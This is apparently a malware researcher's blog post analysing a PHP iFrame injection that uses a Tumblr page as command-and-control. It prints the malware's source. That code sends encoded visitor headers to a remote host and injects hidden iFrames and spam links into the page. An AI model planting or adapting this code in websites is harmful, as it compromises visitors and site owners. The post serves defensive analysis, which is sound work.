Malicious iFrame Injections Host Payload on Tumblr

It’s always fun to watch malware developers using different techniques to code their creations. Sometimes it’s a matter of obfuscation, placement, injection, but this time it’s how they code it to be dynamic.

I believe this is not the first one that uses this service, but it’s the first time I’m seeing it. The concept is not new, we have often seen Twitter and Ask.fm accounts being used as malware Command & Control (C&C) servers, but now we can add Tumblr to the list.

A few weeks ago we found an iFrame injection that was relying on Tumblr to trigger the payload.

Tumblr lets you effortlessly share anything. – Tumblr

It appears they take this motto to heart!

How Does It Work?

The anatomy of this attack is very interesting.

It’s a two-part attack and what makes it so unique is that each one on its own is benign and the user would be none the wiser. Unlike what you’re probably thinking and what we have described the attacker is not loading or referencing the payload from a remote server or service (i.e., Tumblr). Instead the attacker is using the infected website as the compiler while the remote service is the brain. So in it of itself, nether are malicious, but when combined they are very very dangerous.

The brain, or the C&C, dictates what payload gets loaded, based on what it received from the incoming infected site. Once the payload is defined, the infected website goes about building the payload. This means that you can have several infected websites out there without any payloads, simply waiting for instructions from some rogue C&C, like the one here.

What’s curious about the tactic is how ingenious it is. This makes it so that detection is low on both fronts. Scan the website and all is clear. Scan Tumblr and it’s all clear, but mix them together and you have yourself a nice little recipe for disaster.

The good news is that tools like our Free website scanner will pick up the payload.

It’s About the Code

Here are some code snippets to better illustrate what it was doing:

<?php

$__safe_mode = ini_get('safe_mode');
ini_set('safe_mode', 0);
ini_set('display_errors', 0);
error_reporting('none');
$from_link = array('http://nibbgohtume.tumblr.com/');
$from_selector = '.post .title';
$zone = '/tss/nb.php';
$p = base64_encode($_SERVER['REMOTE_ADDR'].':::'.$_SERVER["HTTP_USER_AGENT"].':::'.$_SERVER['HTTP_REFERER'].':::'.$_SERVER['HTTP_HOST'].':::'.$_SERVER['HTTP_ACCEPT_LANGUAGE'].':::'.$_SERVER['HTTP_ACCEPT_ENCODING'].':::'.$_SERVER['HTTP_ACCEPT_CHARSET'].':::'.$_SERVER['HTTP_ACCEPT'].':::'.$_SERVER['HTTP_KEEP_ALIVE'].':::'.$_SERVER['HTTP_CONNECTION'].':::'.$_SERVER['HTTP_CACHE_CONTROL']);
$_params = '&p='.$p;
$params = (isset($_REQUEST['prms'])) ? urldecode($_REQUEST['prms']) : $_params;
$protocol = 'http://';

It sets the from_link variable with the Tumblr address as part of the array, just after it you see the from_selector variable, which will be used later to find all the site’s posts titles.

do {
shuffle($from_link);
$lnk = $from_link[0];
} while (!$lnk);
$html = file_get_html($lnk);
foreach($html->find($from_selector) as $e) {
$lnk_zone = explode("/", $e->plaintext);
$lnk_zone = $lnk_zone[0] . "." . $lnk_zone[1] . "." . $lnk_zone[2];
$link = $protocol.$lnk_zone.$zone.(($params) ? "?".$params : "");
break;
}

This code will translate this:

Sucuri-Tumblr

And output this:

hxxp://njgmoqy.ikwb. com/tss/nb.php?%26p%3DMTcyLjE2LjEwMi4xMjk6OjpNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA1LjE7IHJ2OjI2LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMjYuMDo6Ojo6OjE3Mi4xNi4xMDIuMTI5Ojo6ZW4tVVMsZW47cT0wLjU6OjpnemlwLCBkZWZsYXRlOjo6Ojo6dGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44Ojo6Ojo6a2VlcC1hbGl2ZTo6Og%3D%3D

Which is the payload URL with all the headers (i.e., REMOTE_ADDR, HTTP_USER_AGENT, HTTP_REFERER…)

In order to read the tumblr page, it uses a class called simple_html_dom, which is a free HTML parser to read the page and then search for the .post .title elements to get all the payload links.

The last part of the code will create the iFrame.

list($sdata) = get_curl($link, 0, 5, $prms);

$tmp = explode("|:|:|", $sdata);
if (sizeof($tmp) > 1) {
foreach ($tmp as $k=>$v) {
$tmp2 = explode("|;|", $v);
$link = $tmp2[0];
$data = $tmp2[1];
if ($link && $data) {
print '<a style="position:absolute; top:-999em;left:-999em;" href="'.$link.'">'.$data.'</a>';
}
}
} else {

print '<iframe style="position:absolute; top:-999em; left:-999em;" scrolling="no" src="'.$sda..';

}

The hidden iFrame, the negative position – -999em;left:-999em – will not be presented in your browser window, will contain all the links found in the previous URL and all the nice spam words for a good blackhat SEO.

As all iFrame injection codes, this one needed some other file, a good file to be the host. In this case the malware was being loaded by the template’s footer, in a simple include().

Scan your website for free:
About Fioravante Souza

Fio is the Lead Malware Researcher and a member of the SucuriLabs group. He loves to home brew a good ale between malware investigations. You can find him on Twitter: @fiocavallari. (Spoiler Alert: Tweets about beer and InfoSec jokes most of the time).

  • michael

    interesting..

  • http://www.playema.com PlayEma

    I’m happy reading this information, thanks you so much.